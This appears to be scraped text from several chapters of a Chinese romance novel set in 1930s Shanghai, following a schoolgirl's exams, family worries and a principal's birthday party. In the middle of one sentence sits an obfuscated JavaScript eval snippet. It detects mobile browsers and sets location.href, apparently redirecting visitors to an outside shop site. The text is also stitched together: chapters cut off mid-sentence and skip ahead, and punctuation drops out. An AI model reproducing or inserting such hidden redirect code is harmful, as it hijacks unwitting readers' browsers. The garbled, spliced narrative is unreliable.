闻亭丽睫毛一颤,踮起脚尖向马路尽头望了望,疑惑地说:“车怎么还没来,我得回去打电话催一催,孟先生,要不—— 她刚转身,就被孟麒光拦住了:“你在怕什么? 闻亭丽一抬头,孟麒光居高临下看着她。 “怕我只是一时兴起?他看着她笑起来。 闻亭丽呼吸有些乱,看他一眼,反问道:“既然不是一时兴起,那看来孟先生是打算认真一回了,那么,请问孟先生打算对我认真多久? 孟麒光一怔。 闻亭丽微微一笑:“看来孟先生并没有考虑过这个问题,你只是偶然对我产生了兴致,既不打算对这段感情负责,也没想过让这段关系有个好的结果,你只是为了满足自己的好奇心理和征服欲,那我也可以明确地告诉你,我现在一心要考大学,不想因为男人的事分心,孟先生,你请回吧。 她转身欲走。 却听见孟麒光在后头不冷不热地说:“那陆世澄又是怎么回事? “什么? “你一而再再而三地凑到他面前去,就不怕他也只是玩玩而已? 闻亭丽恼怒回头,孟麒光:“据我所知,陆世澄这些年忙着搞他的两个叔叔没心情招惹女人,而以闻小姐的性子,除非你自己愿意,是绝不可能一再出现他身边的,所以——你是自愿跟他走动的。 闻亭丽一时间想不出话来驳他,忽想起,她刚从寓所出来,孟麒光的车就出现了,可见陆家司机送她出来时,孟麒光的车也在附近,不然他不会出现得这么及时。 那他一定知道她今晚在陆家逗留到八点多才出来了。 孟麒光看一眼闻亭丽脚下的皮箱,话锋一转:“还是说,你接近陆家是有什么别的目的? 再这样逼问下去,只怕被孟麒光觉察出什么,万一叫他查到厉成英那头就不好了。闻亭丽索性说:“我同谁来往,不同谁来往,与孟先生有什么关系?我只知道,陆小先生绝不会像孟先生现在这样为难我! 孟麒光却并未被这话驳倒,一嗤:“我只是想提醒闻小姐,即便现在有个男人可以做你的靠山,这个人也绝不会是陆世澄。 这话近乎是一种明示了,可是他为何不肯直截了当说他喜欢她?这个男人太自负,太精明,太懂得留一手! 他索性向她踱近几步:“只要你肯跟我,不论你想要什么,我都可以给你。 他的眼神跟他的语调一样,充满诱惑性,像毒蛇在吐信,无端搅乱人心弦。 闻亭丽却迅速后撤一步:“我想,孟先生还不大了解我,我不想‘跟着’任何男人,我只想自由安排自己的人生!孟先生,请你自重。 孟麒光沉默半晌,面不改色望向街角的方向:“其实祥升车行的车早就来了,我让司机在那边等着罢了,你在这等个半分 钟左右车自会过来。” 说着他走到马路边开门上车闻亭丽松了口气。 孟麒光本已发动了汽车忽又踩住刹车:“别怪我没提醒你陆家的水很深陆世澄跟他祖父和叔叔关系一直很僵可他现在不仅斗垮了他的二叔和三叔还独自接管了陆家的产业他这样的人不为难人也就算了真要诚心为难起人来绝不会给你机会驳回去你要是遇到什么麻烦你可以再来找我今晚的事我不会放在心上。” 他一踩油门开车走了闻亭丽气极而笑这个人终于不在她面前装正人君子了。也不知她做错了什么需要他宽宏大量不同她计较。 孟麒光前脚刚走祥升车行后脚就出现了司机帮闻亭丽把行李拿上车她拖着受伤的脚踝一步步挪上车。 到了慈心医院闻亭丽躺在病房里的床上几乎一晚上没睡觉。万幸她已经把东西都收拾好了随时可以跑。 孟麒光的话加深了她的忧惧。 她在忐忑中等待黎明的到来。 一方面 因为心里放不下闻亭丽时不时爬起来看看父亲到最后干脆搬着凳子坐到床边望着父亲的脸庞。 邓院长在时父亲的情况明显好转邓院长一出事父亲的某些指标又出现了恶化。拖了这两月父亲几乎瘦成了一具人干。 假如她无法继续在上海考大学她该如何跟父亲解释?退一万步说即便她可以改而到南京、杭州、甚至北平去考大学她又如何能在这个当头撇下父亲不管? 不行她不能把父亲留在慈心医院要走一家人一起走!然而以父亲目前的身体状况绝对受不了路上的颠簸因此她还得想好路上该怎么走。越想越觉得为难疲累到极点倚在父亲床边睡着了。 朦胧间有人推她:“小闻小闻有电话找你。” 闻亭丽猛地抬头是刘护士长。 陪护和周嫂在打鼾小桃子也睡得正酣。看墙上的钟才五点半。 这个点…… 闻亭丽二话不说跟刘护士长出去当然并 第 28 章 冤家路窄。 正说着,桌上的电话响了,邝志林接起,一听对方说话,他的语气立即变得热络起来。 “邹校长吗,对,我是老邝,你从北平回来了?噢,要到月底才回来……好好,我会转告澄少爷。” 放下电话后,邝志林说:“邹校长本来定在明日回上海,没想到北师大几所女校新近发起了一个普及妇女教育的讲座,老邹作为上海女子教育界的代表人物,临时被邀请留在北平开会,她说她大约三十号回来,托我跟少爷说一声。” 提到邹校长时,邝志林口吻很尊重,他知道,邹哲平是太太奚悦生前最好的朋友,当初两人一同在中西女塾念书,之后又一道去美利坚读大学,只不过邹哲平念的是教育学,太太却学的是西洋药剂学。 两人留洋回来后,太太立志要创办一家爱国药厂,可惜没多久,太太的娘家生意出了大问题,奚老爷一病而亡,太太也只能被迫回家接管生意。 再后来,奚家遇到重重危机,老爷屡次对其施以援手,太太因此对老爷产生好感,之后两人在当地教堂举办了婚礼,婚后一同去了南洋,邹哲平则留在上海教书。 可即便分隔两地,太太和邹哲平之间也没有断过书信。 当年那桩惨案发生后,邹哲平更是连夜动身去南洋。 邝志林至今仍记得葬礼上邹哲平那双哀默的双眼。 没几年,澄少爷回到上海,那时邹哲平已经是某间女子中学的校长了,在本地教育界享有极高的声望,听闻少爷回沪,邹哲平经常过来探望。少爷也发自心底敬重邹哲平,在正式接管陆家大权后,便聘请邹哲平担任务实中学的校长。 听说是邹校长打来的电话,陆世澄立即回头看了看桌上的小日历。 这个月的三十号是邹校长的生日。 往年这个时候邹校长都在忙学生毕业考试的事,今年怕是也没空好好过生日,但是他还是郑重地指了指那个日子。 【那天是邹校长的生日,请提前准备一份礼物。】 “是。”邝志林说。 *** 当日,闻亭丽再次乔装打扮去探望邓院长,尽管邓院长还不能说话,但那双清炯的眼睛似能给人无穷无尽的力量,一从医院回来,闻亭丽整个人都轻松了不少,同一天,她开始跟厉成 英和刘向之学习枪法和一些简单的搏击术。 在刘护士长的带领下,闻亭丽第一次走进慈心医院地下室的库房,库房的墙壁做过专门的隔音处理,在这里练枪丝毫不必担心声响会传出去。 每晚温习完功课后,她都会随刘护士长苦练一个钟头,厉成英和刘向之再没有给过她任何任务,大有教完本领就在她的生活中彻底消失之势。 闻亭丽心有不舍,练枪时总是格外用功,然而随着大考时间临近,还得分出大半时间来备考,两下里一权衡,她只得将欣欣百货选美大赛的事暂时抛到脑后。 恰巧其他年级的学生也都忙着准备暑期前的考试,这一来报名参加选美的人数也相应减少,欣欣和逸菲林唯恐正式比赛时不够轰动,相继将比赛日期挪到了下月。 没几天,填报志愿也提上了日程,赵青萝和燕珍珍按照原定计划报了圣约翰和沪江,闻亭丽则报了三所大学:沪江的医学系和经济系,以及女子师范大学的教育系、科学系(注)。 圣约翰她原本绝对不会考虑的,一来录取分数较高,二来学费实在太昂。 确定完志愿之后,接下来这二十天,除了睡觉,剩下的时间都在练习枪法和看书。小桃子知道姐姐要考学,晚间也不再吵着要姐姐带她玩了。 联考的试卷是由上海教育署统一出,考试则由各学校联合监督。 考试这一天,闻亭丽早早就起来了,在病房随便吃了点西式面包,就对病床上的闻德生说:“爹,我考试去了。 吃过早饭后,闻德生便开始紧张女儿考试的事,女儿走到窗前,他的目光就移到窗前,女儿走到门边,他的视线也跟着挪到门边,一副惆怅而又欣喜的样子,听见女儿这话,他努了努嘴,从破哑的嗓子里吐出异常清晰的一句话:“等你考完了,爹带你和小桃子回南京老家瞧瞧,告诉你娘,你考上大学了,嘿嘿,我闻德生窝囊了一辈子,没想到能养出个如此有出息的女儿。 这是一种世俗的,却不惹人厌烦的语调。自打父亲病重,闻亭丽还是第一次从父亲口里听见这熟悉的语气,这使她想起夏日里父亲坐在衖堂里跟邻里吹牛时的情形。 闻亭丽心头掠过一丝不安,快步走回床边说:“爹,您不舒服么? 闻德生却指了指她 的书袋:“多带些钱,渴了就买块西瓜吃。 赶巧周嫂买早餐回来,看见闻亭丽站在床边,错愕道:“小姐怎么还未走?时辰可不早了。 闻亭丽却只管盯着父亲,实在被催得急了,才对父亲说:“我要是考得够好,就买一整个西瓜带回来,爹,今晚您就等着吃西瓜吧。 闻德生不由笑了:“好。 闻亭丽一步三回头离开了病房。 这一考,就是一整天。 考完后,整栋笃信楼都沸腾了。学生们以燕珍珍和闻亭丽为首,齐声欢叫着从课室里跑出来,在这个值得纪念的时刻,什么规矩、什么校训、什么淑女风范,统统被她们抛到了脑后。 赵青萝大笑着说:“我要睡它个三天三夜! 高筱文叉腰大声说:“睡觉有什么意思,不如今晚我们去百乐门吧!跳舞、看电影、吃冰淇淋,玩到十点钟再回去!我请客。 “去什么百乐门呀,你们不今天是邹校长的生日吗?她老人家在北平开会这段时间,帮我们争取到了北平几所知名大学的十个录取名额,这样的好校长,不值得我们好好为她贺寿吗? “邹校长回来了?女孩们又惊又喜,围上去叽叽喳喳商量送礼和贺寿的事。 “闻亭丽,你是不是还没见过邹校长?赵青萝和燕珍珍笑着一转身,结果哪还有闻亭丽的身影。 闻亭丽早跑到校门口去买西瓜了。挑了一个最大的付了钱,她拎着西瓜叫了一辆黄包车。 一径到了医院,闻亭丽跳下车满头大汗跑进医院,然而刚踏进走廊,她的脚步就情不自禁慢了下来。 她怕。 她怕听到小桃子的哭声,怕迎面撞见护工抬出一具用床单包裹着的身体,怕汤普生大夫过来对她说一番例行公事的安慰话。 这是这几月来她在病房里惯常见到的场景,这也意味着一条生命的结束,生命的香烟燃尽了,往后世上再也找不到这个人的痕迹。 这次轮到父亲了。 她本以为自己早已做好思想准备,可真当这一刻来临时,她还是没有足够的勇气去面对。距离那间熟悉的病房越近,她的心就越乱, 短短的几步路,走得异常艰难。 忽听见小桃子的笑声,再接着,就是咚咚咚的脚步声。 那矮胖的小身影蹿了出来。周嫂在后头追着:“嘘嘘,不要吵。 一抬头,就看见闻亭丽愣在那儿。 “还吵,你看姐姐都回来了。周嫂一把捉住小桃子,近前一看,才注意到闻亭丽面色苍白,她忙用手探探闻亭丽的额头,“不舒服吗?该不是中暑了? “爹呢? 周嫂莫名其妙:“先生在房里呀。 闻亭丽推开周嫂进病房,一眼就看见了病床上的父亲,并非是白布包裹着的一具身躯,而是好端端地躺在那里,近前看,父亲脸色很好。 闻亭丽有气无力地跌坐到床边的椅子上:“切西瓜吃吧。 闻德生神情有点怯怯的:“是不是……考得不错? 闻亭丽充满自信点头,闻德生眼睛一亮,小桃子高兴地直拍手。 碰巧刘护士长路过他们这间病房,也笑着探身进来:“小闻考完了? “刘姐,快进来吃西瓜。 大伙正说笑,突然听见外头传来两个女孩的交谈声。 “是这里吧? “我也不确定,闻亭丽平日也不肯把话说清楚,但应该是这里没错。 闻亭丽忙跑出去,来人果然是赵青萝和燕珍珍。 “你们怎么来了? 赵青萝和燕珍珍各自拎着几袋水果和礼品。 “大伙正商量今晚给邹校长祝寿的事呢,一转眼就不见你的人影了,我们就猜你是赶回医院了,追过来一看,果然如此。 二人之前已经听说过闻父的情形,立在床边慰问了几句,又坐下来凑热闹吃了一回西瓜,就把闻亭丽拉出来。 “今晚大伙要去邹校长家拜寿,你也快准备准备,这种场合不好缺席的。 闻亭丽跑去找汤普生打听白日的情形,确定父亲的病情并未明显恶化,甚至还有所好转,这才重新露出欢快的笑容,对赵青萝和燕珍珍说:“等我一下。 她先是出去买了热腾腾的晚饭,回来为了哄妹妹又坐下来帮妹妹梳了两个小冲天炮,继而到公共盥洗室去梳头换衣裳。 赵青萝和燕珍珍早知道闻亭丽过得不容易, 看着这一切两人并未一味说些同情的话只默默陪着闻亭丽忙前忙后。 稍后三人从医院出来闻亭丽从书袋里拿出一面小镜子对镜整理头发:“我们现在是直接去邹校长家还是怎样?礼物怎么安排?” “先到学校礼堂集合。陈晓虹她们已经出发去欣欣百货挑选寿礼了不论买礼物花了多少钱事后大家再分摊你不反对吧?” “当然不反对。”闻亭丽笑着说“但我这是第一次跟邹校长碰面从旧风俗上来说还得另外准备一份拜师礼才行待会路过珍翡衣料行的时候你们把我放下我去给邹校长买一盒衣料就是珍翡的衣料太摩登了也不知道挑出来的衣料合不合邹校长的心意临时去别的衣料行又怕来不及。” “你买珍翡的衣料才叫投其所好呢。”赵青萝扑哧笑道“邹校长最喜欢时髦的衣裳了衣料越新潮她老人家越喜欢。” “她老人家还特别喜欢跳舞。”燕珍珍耸耸肩“而且从不反对学生烫发和穿高跟鞋当年街上还是清一色的盘发时我们校长就带头烫鬈发了待会你见到她老人家就知道了。” 三人在珍翡买好衣料便赶到学校的礼堂集合等到陈晓虹几个带着礼物回来学生们就浩浩荡荡出发去邹校长家。 半路上碰到几个打头阵的同学从邹校长家折回来。 “快别去了。也不知道哪位阔绰学生听说这消息竟提前在仙乐丝包了一整层为校长接风洗尘请了几位卡尔登的大厨掌厨又请到了邹校长最欣赏的真理乐团来表演邹校长听见这消息高兴坏了叫我们赶快过去呢。托这位阔同学的福今晚不管是喜欢跳舞的同学还是喜欢听洋戏的都有得乐了!” 大伙既惊且乐。 “谁有这么大的排面竟能临时请动真理乐队?” “除了高筱文还有谁?她哥哥才在霞飞路开了一家逸菲林百货公司高筱文为了不落下风准备一毕业就张罗自己的事业呢。” 仙乐丝毕竟不同于邹校长家同学们纷纷叫车回家换衣裙燕珍珍和赵青萝也不例外这一来闻亭丽倒成了最早赶到仙乐丝的那一批。 舞池里聚满了红男绿女圆舞台上红歌星琼小楼正用酥柔哀怨的腔调唱着《渔光曲》。 门 口的仆欧听说是务实的学生,忙将她们领到二楼。 二楼的舞池四周新摆了许多小圆桌,每一张桌上都铺着洁白的苏格兰细格子桌布,桌面上放着洋百合和珍珠兰,另有一瓶瓶的香槟和汽水。 闻亭丽一行在侍者的指引下入座,她们原以为高筱文顶多定了二楼其中一个小舞厅,看这样是把二楼全部包下了。 忽听外头有人愠声道:“我们也算仙乐丝的常客了,从未听说此地有包场一说。明明白白告诉你,今晚我们别的地方都不去,只在二楼跳舞。 很快,就听见“哒-哒-哒的高跟鞋声,一群人簇拥着一位穿着香云纱旗袍的富太太进来了。 闻亭丽暗吃一惊,竟是乔太太。 乔太太臂弯里还挽着一位穿梨白色洋裙的年轻女孩,却是白莉芸,白莉芸身边站着乔宝心。乔宝心满脸无奈的样子。 舞厅经理擦着汗说:“实在不敢扫乔太太的兴,只是那位客人下午就定了场子,您瞧,连舞池都按照那位客人的意思布置好了。要不这样,三楼也算清净,我们马上令人给乔太太腾出一个宽阔的小厅,保证您玩得尽兴。 乔太太怒极反笑:“别人可以包下整层楼,我们就只配一个小厅?去,把祝老板叫来,我倒要听听那位贵客什么来头! “谁找我? 话音未落,一位中年男子进来接话,他扶着一位年长的女士,后头还跟着米歇尔等一众务实的校领导。 这中年男子大约就是仙乐丝的老板之一了。 经理忙迎上前:“刚才产生了一点小误会,乔太太想在二楼跳舞,不巧赶上邹校长今晚在此过生日,我们正跟乔太太解释呢。 乔太太看见邹校长,仿佛已经猜到今晚包场子的人是谁了,一改刚才盛气凌人的态度,用轻悦的语气对邹校长说:“您今天过生日?这可真是巧了,前两日我还问米歇尔您何时回来,莉芸,宝心,你们姑嫂俩赶快去张罗一份礼物,今晚我们娘仨专心在此给邹校长庆生。 邹校长个头不高,面孔小而圆,没穿旗袍,而是穿一件顶时髦的蝙蝠袖藕荷色连衫长裙,头顶新潮的鬈发,一双小圆眼睛顾盼生辉,脚下踩着一双杏色的高跟鞋,但走起路来又快又稳。她的眼角和嘴边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13254998|135222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经有了不少细纹,然而整个人的面 貌非常活泼年轻。 她朗声对乔太太说:“再欢迎不过了,但礼物我绝不能收,我本也不爱过生日,实在不忍拂这帮孩子的好意罢了。” 学生们趁势围上去甜声说:“祝邹校长福如东海,寿比南山!” 赵青萝几个把闻亭丽推到最前面:“邹校长,您还没见过闻亭丽吧,她六月份从秀德转来的,那时候您刚动身去北平。” 邹校长竖起食指,调皮地说:“我知道,今年得了‘育英奖’的那个孩子。我看过报纸上那次话剧比赛的新闻,听说你打败了著名童星乐知文和徐维安?真了不起!” 闻亭丽高兴点头:“能为学校争光是学生的荣幸。” 邹校长笑容愈发扩大,乔太太看闻亭丽似乎颇受务实师生欢迎,脸色顿时难看起来,瓮声瓮气地说:“她在我们秀德也是很出名的。” 邹校长不明就里,笑问:“乔太太也认识这孩子?” “再熟悉不过了,您不知道,这位闻小姐——” “妈!”乔宝心恼怒地瞪视着母亲。白莉芸也适时打断乔太太:“您刚才不是说渴了?走,我们过去喝点东西吧。” 乔太太忿然用手指头戳了女儿的额头一下。闻亭丽本已准备好了一肚子话回击乔太太,不提防白莉芸主动帮她解围,不免有些错愕。 白莉芸淡淡对闻亭丽颔了下首,扶着乔太太向另一边走去。 “你怎么捧着一个大盒子?”乔宝心走过来问闻亭丽。 “给我们校长的礼物。”闻亭丽郑重地将料呈给邹校长,“今晚是您老人家的生日,这份礼物希望您能喜欢。” 邹校长板起面孔:“今晚所有人不许送礼物,不然我可跑了!” “您就收下吧,我们这一届眼看就要毕业了,尤其是我,入校几个月还是第一次正式跟您问好,您要是不肯收,我们心里会留下遗憾的,您留着做个纪念也行。” “对啊对啊,这礼物我们挑了好久呢,您就收下吧!”其他学生齐声说。 邹校长被闹得没办法,只得打开看,一盒是珠灰色的衣料,出自珍翡衣料行。另一盒是一对顾绣小屏风,上面绣着一对活灵活现的雪白暹罗猫,大伙都知道邹校长既喜欢顾绣,也喜欢猫。 邹校长含着笑意凝视半晌:“太 漂亮了,我真喜欢,谢谢孩子们。 赵青萝拉着闻亭丽低声说:“以我对邹校长的了解,她会想方设法把买礼物的钱塞给你的,待会你想办法早些走。 闻亭丽暗暗点头,礼物一收,现场的氛围更活跃了,用过餐,邹校长第一个下舞池跳伦巴,舞伴是米歇尔校长,两人一个高、一个矮,一个古板、一个灵活,搭配起来有一种说不出的滑稽效果。 学生们忍俊不禁,纷纷拉着同窗下舞池。“嫂嫂,我们也去跳一曲吧?乔宝心问。 白莉芸却只斯斯文文坐着喝牛乳:“你去吧,我在这里陪妈说话。 乔太太一脸嗔怪:“你这孩子真不懂事,你嫂嫂现在哪能跳舞。 闻亭丽心中一动,却听另一头的同学说:“高筱文,你自己怎么不跳?大伙还没夸你这大手笔呢,今晚这排场都足够做毕业晚会了。 高筱文穿一件淡金色的薄纱拖地长裙,额上系着一条珠光宝气的宝石发带,这装扮让她看上去像西洋电影里的埃及女王。 “我倒是想为我们的邹校长包下一层楼。高筱文嘬着橘子水,“可也得他们大老板同意才对,回头我问问是谁在仙乐丝有这样大的面子。 众人一愣:“不是你包的?那又是谁? 高筱文一屁股坐到闻亭丽身边:“你到底要不要参加选美比赛?前头看你兴冲冲地报名,一考完你倒没动静了。 闻亭丽没言语,她先前想出这一招不过是为了顺理成章去陆家找陆世澄,如今真相已经查清楚,这事也就被她抛到脑后了。 想起高庭新是高筱文的大哥,料定高筱文一开口就要拉她去逸菲林报名,不曾想高筱文直截了当地说:“我可不是来为我大哥说项的!我爹一早就说过那间百货公司是我大哥的,将来与我全无关系,我巴不得它尽快倒闭才好呢。你要是报名参加欣欣百货的比赛,我头一个给你投票,但你要是去我哥那边,那可就不好说了。 旁人也说:“闻亭丽,你还在犹豫什么。这次可是两家大型百货打擂台,规模比上次的话剧大赛还要大,万一你在比赛当中取得一个好名次,说不定能彻底红起来。 同学们平日里也经常这样彼此打趣,但这话恰戳中乔太太的隐忧,她含恨觑着闻亭丽,忽听走廊 上传来喧哗。 “包场?”一个年轻男子嚷道“仙乐丝有这样的规矩吗?我可告诉你今晚我们曹帮主要招待北平来的贵客五分钟之内你叫里头的人滚蛋!” 闻亭丽面色一沉邱凌云!看来他的伤已经养好了。乔太太若有所思望向门口。 说话间邱凌云带着一帮青龙帮的流氓闯了进来那经理忙要拦却被一班人恶狠狠搡到了地上。 闻亭丽忙退到阴影里这种场合下她可不想跟邱凌云正面起冲突。邱凌云冷不防看见满场的女学生也懒得一一细看只恶声恶气地说:“都给我滚!” “该出去的是你!”高筱文怦地一拍桌子“哪来的瘪三敢在姑奶□□上撒野!今晚我们校长过生日趁她老人家没发火之前带着你这帮流氓马上给我滚蛋!” 邱凌云先是勃然大怒随即认出是高家的千金可他丝毫不惧只扯着嘴角笑道:“原来是高小姐包的场可惜要叫高小姐扫兴了从现在起这场子归我们白龙帮了!” 眼看两边要吵起来 邱凌云嗤笑:“祝老板你可知道我们曹帮主要招待的那位贵客是谁?” 祝老板在邱凌云耳边说了句什么。 邱凌云面色变了几变咬牙撂下一句话:“先别急我去问问帮主再说。” 不一会便返回冲里头的手下喝道:“换地方吧走走走。” 在场的人松了一口气可依然不敢妄动眼见邱凌云走到门口乔太太忽然高声说了一句:“闻亭丽你的书包掉了。” 这三个字直如惊雷一下子制住了邱凌云的脚步他迅速回身用目光在场子里找寻起来只几眼就寻到了角落里的闻亭丽。 盯着她看了好一阵他半笑不笑哼了一声带人离开了。 闻亭丽冷冷瞪着乔太太乔太太则冷笑着回视。 邹校长皱眉看着白龙帮的人离去高声说:“孩子们非常感谢你们为我庆祝生日但为了安全起见今晚不如就到这里吧请你们即刻结伴回家到家后给各自的班主任打电话——” 那位祝老板去说:“邹校长您这一走祝某可就万死难辞其咎了。我以仙乐丝的生 第 29 章 【加更】世澄,你... 乔太太气得脸都歪了,冲上来劈头盖脸骂道:“我让你见识见识什么叫真正的侮辱和欺凌!你给我听清楚了,连夜把医药费还给乔家,但凡少还一文钱,我即刻叫你身败名裂,留在上海念大学?做你的春秋大梦,明天一早你们一家就给我滚出上海!” 闻亭丽铁青着脸,其实早在乔太太刚才过来找她麻烦的那一刻,她就预料到此人会抵赖和反悔,白莉芸现已怀孕,那么当初她那些自保的手段对乔太太也就毫无震慑力了,乔太太说不定早在等着出这口恶气,那终究是一笔不小的数 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选美比赛她原本不大想去的,这回也不犹豫了,某日在报纸上看到欣欣百货和逸菲林百货重新将比赛的事提上日程,便火速跑去欣欣百货报名。 黄远山却强烈反对闻亭丽参加选美比赛,因为怕撞上新戏开拍。 “黄姐,这可不是寻常的比赛。”闻亭丽把近期的报纸一股脑堆到黄远山面前,“打擂台的这两位一个是老牌百货公司的女公子董沁芳,一个是新涉足百货行业的高家大公子,现在坊间一半人都等着看这两家的热闹,假如我能在这场万众瞩目的比赛里脱颖而出,将来准会吸引更多人来关注我主演的电影,这不比你日后花大笔钱卖力宣传来得省事?” 黄远山眨眨眼,这话倒也有点道理,再说她也知道闻亭丽眼下正忙着弄钱,她自己呢,因为同时筹拍两部戏压了大笔资金也帮不上什么忙,琢磨了半天想不出更好的理由阻拦闻亭丽,只好随她去了。 忙乱了好几日,周末这日,闻亭丽刚起来就到电话局给邹校长和厉成英打电话。 她得把那张法郎还给邹校长。另外,当初要不是厉成英在背地里操作,黄远山不会想到帮她和曙光律师事务所牵线搭桥,那晚黄远山能那么快找到刘亚乔律师,也少不了厉成英的暗中襄助,冲着这个她也得向厉成英当面致谢,何况,她也深深牵挂着邓院长的近况。 第一通电话打过去,邹校长不在家中,校工在电话里告诉闻亭丽:校长忙着招待一位从天津来的故旧,吃过晚饭以后才能回来。 闻亭丽忙又联络厉成英,接电话的却是一个陌生女人,一听到闻亭丽开腔,那边冷冰冰地说:“我都说了我不订牛乳,别再打来了!”“ 啪地挂断了电话。 闻亭丽一惊,在电话局里呆坐片刻,急匆匆跑回病房向刘护士长打听情况。 怎知刘护士长一大早就请了病假,闻亭丽心里七上八下,多半是遇到了什么紧急状况,否则不会两个人都联系不上。 她急忙给曙光律师事务所打电话。 “包律师去外地办事了,要过几日才能回来。刘亚乔在电话里说,“亭丽,你有什么急事吗? 闻亭丽握着话筒怔松,终究因为无法确定刘亚乔是不是知道厉成英的存在,没能如实相告,只笑着说:“没什么,就是想找包律师打听一点合同上的事,亚乔姐,你忙吧。 挂掉电话,闻亭丽心里愈发乱糟糟的,从前还不觉得,这一刻因为联络不上厉成英,她头一次觉得自己像只一只断了线的风筝,摇摇曳曳找不到方向。 走出电话局,她茫然地看着街头,现在绝不能去找厉成英,假如那边出了事,这样做只会暴露自己,眼下能做的,只有等待那边主动联系她。 就这样心事重重待了一上午,中午吃过饭,赵青萝和燕珍珍跑来找她了。她们给闻家送来了一大堆吃的,又在病房里陪小桃子玩了一会,眼看时辰还早,便提议出去逛街买书。 这是暑假以来伙伴们第一次约会,闻亭丽开心地应了,小桃子缠着姐姐要去,三人带着小桃子搭车去沪江大学,那附近不但有间藏书颇富的大业书局,还有一家味道很好的咖啡馆。 挑完书已是下午四点多,她们在咖啡店坐下,一边吃点心一边打量窗外。街对面就是沪江大学。 “真希望明天分数就出来。赵青萝紧张地长吁一口气,“我也不挑了,沪江也好、圣约翰也罢,哪家愿意录取我我就去哪家。 “是是是,你可真够不挑的,一开口就是沪江圣约翰。燕珍珍忙着帮小桃子拧汽水,“喂,闻亭丽你在看什么呢。 闻亭丽心里正担心厉成英的事,翻了一晌报纸,庆幸没有看到暗杀刺杀之类的新闻,闻言,心不在焉地说:“我瞧瞧有没有小时工和家庭教师之类的招聘广告。 “你要谋事做?选美比赛不是马上要开始了吗? “奖金要等到比赛结束才发放,再说我也不敢打包票一定会获得名次,家里的积蓄支撑不了 多久,我总得留点钱用做大学学费吧。 赵青萝怔了怔:“你看你,都难成这样了,偏这么有骨气,我们俩要借你钱,你死活都不肯。 突然有人朗声笑道:“闻小姐,你这又是何苦呢? 一抬头,却见两位衣着光鲜的男女走了进来,男人是逸菲林百货公司的高大公子高庭新,另一位却是高筱文。 “上回在陆公馆,高某力邀闻小姐参加我们逸菲林的选美比赛,闻小姐硬是不答应,高某只当董沁芳那边许了你大价钱,听这意思竟是没有。高庭新大剌剌在邻座坐下,“高某一向比旁人爽快,只要闻小姐肯来逸菲林参赛,我提前给你支付一大笔款子如何? 高筱文一嗤:“是我不让闻亭丽报你那边的。沁芳姐那边的‘沪上之花’比赛不但主张提高妇女地位,还许诺赛后拿出一大笔钱来做慈善,哪像大哥你,就知道‘美人’‘美人’的。再说了,沪上的漂亮姑娘么多,老干吗总盯着闻亭丽? “冲她的‘务实女子中学校花’的名头行不行?高庭新嫌弃地瞥着妹妹,“假如一场比赛如能搜罗到沪上各大名校的校花来参赛,准能吸引大票公子富绅前来捧场,男人的心思你不懂。 “我不懂。高筱文笑着对闻亭丽等人挤眼睛,“我们也不屑于懂。我只知道,这两场比赛,大部分女学生都跑去了欣欣,今早我看新闻,沪上那些雪花膏公司、牛乳厂、成衣行都预备到欣欣投广告,大哥,还没开战你已经输了。 高庭新倒也不恼,只哼笑着弹了弹妹妹的额头:“你气不过父亲不分你逸菲林的股份,一心想要大哥输,可惜我这边可早有了现成的参赛人选,光是新来的某位大美人,就足以压过一大票校花了,比赛还没开始呢,我们走着瞧。 大伙正好奇他说的这位“大美人是谁,高庭新陡然像是瞧见了什么人,起身道:“诸位小姐,失陪了,这顿我请客。 从衣兜里翻出一张票子扔到桌上,匆匆出去了。 只见一行人从沪江大学的校门里走出来,闻亭丽一眼就看到出了人群中的陆世澄。他像是来沪江办什么事,身旁还围着好些长者。 燕珍珍讶道:“陆公子到沪江来做什么? “你们不知道?沪江本就是陆世澄的半个母校。 高筱文对上几人惊讶的目光,“哎哟,就算你们两耳不闻窗外事,好歹也该知道大校董的履历吧,陆世澄最后一年大学可是在沪江的经济系念的。 闻亭丽闷声不响喝汽水,作为学生,她们哪敢随便打听校董的事。 “一个比一个胆小,想知道什么问我不就成了,我可是天不怕地不怕的。当初他为何来沪江念书,跟你们说个故事就知道了,陆世澄四岁的时候—— 那一年,陆家来了几位客人,其中一位是南洋公立大学的经济系教授,叫伍星云,此人在当地学术界和金融界极富盛名,他听说陆世澄聪明过人,只当是当地人为了奉承陆家才如此说,谁知有一回在陆家,小陆世澄抱着一个小棋盘来找他下棋,开头伍星云敷衍了事,没想到陆世澄下起棋来居然有模有样,差一点他就没能占着上风。 他认为陆世澄是可造之材,当场表示要收他当弟子,这在旁人眼里可是难得的好机会,毕竟伍星云那一肚子的学识是无数人梦寐以求的,陆世澄却摇着小脑袋说“不要不要不要。 陆太太问儿子缘由,陆世澄一开口,客人们全笑了,原来陆世澄还在气伍星云一开始瞧不上自己呢。 “这是陆家当年很出名的一桩轶闻。高筱文慢吞吞喝了口咖啡,“现在去南洋一带打听,估计还有不少人有印象,可惜陆老太爷跟长房不大亲近,陆世澄拜师那天,陆老太爷也没露面,不然场面会更热闹。 “为何不亲近?就因为那位南洋姨太太的缘故? “这是其一。高筱文低声说,“还有一个原因就是陆老太爷不大喜欢陆世澄的母亲,他觉得这个大儿媳太要强太不安分,明明已经嫁入了陆家,却还心心念念回国办药厂。后来一家三口在荷属葛罗吧埠被绑架,陆老先生也坚持认为,是陆太太非要去荷属的外国药厂参观学习才会引起这场悲剧,他深恨自己这个大儿媳,恨到险些不肯让她的棺椁埋在陆家陵园。还有,你们看陆世澄是不是生得比一般男子都漂亮?这是因为他长得极像自己母亲的缘故,据说陆老先生一看到长孙就想起那位自己厌憎的儿媳,连带着祖孙俩的关系就不冷不热的。 不,不对,闻亭丽暗暗回想当日在陆公馆那位刘妈所说的话,这其中一定少不了陆二爷和陆三爷的挑拨,毕竟陆家大爷一死 ,长房唯一有资格他们抢夺庞大家产的就是陆世澄了,倘若陆世澄不变成“哑巴”,能不能活到成年都难讲。 